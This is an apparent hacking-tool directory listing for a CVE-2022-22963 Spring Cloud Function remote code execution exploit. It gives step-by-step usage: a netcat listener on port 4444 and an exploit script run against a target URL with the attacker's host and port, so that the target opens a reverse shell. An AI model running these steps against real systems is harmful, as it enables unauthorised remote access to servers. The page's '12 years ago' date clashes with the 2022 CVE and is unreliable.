Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-22963 | Kitploit
Tools/GitHubGitHub/jrbh4ck/cve-2022-22963
ExploitationShellcodeWeb Application ExploitationLearning & EducationRemote Access Tool
GitHubjrbh4ck/cve-2022-22963

CVE-2022-22963

View Repository
12 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-22963

In versions 3.1.6, 3.2.2, and earlier versions of Spring Cloud Function, when using the routing functionality, it is possible for a user to provide a specially crafted SpEL as a routing expression that can result in remote code execution and access to local resources.

PoC

Clone the repository

root@kitploit:~
git clone https://github.com/jrbH4CK/CVE-2022-22963.git

Enter the folder

root@kitploit:~
cd CVE-2022-22963

Change the execution permissions

root@kitploit:~
chmode +x springCloud.sh

Start nc on the desired port

root@kitploit:~
nc -nlvp 4444

Run the following command changing the parameters according to your needs

root@kitploit:~
./springCloud.sh url lhost lport

NOTE: The use of this repository is the responsibility of the user and not the author, for educational purposes only.

Download Tool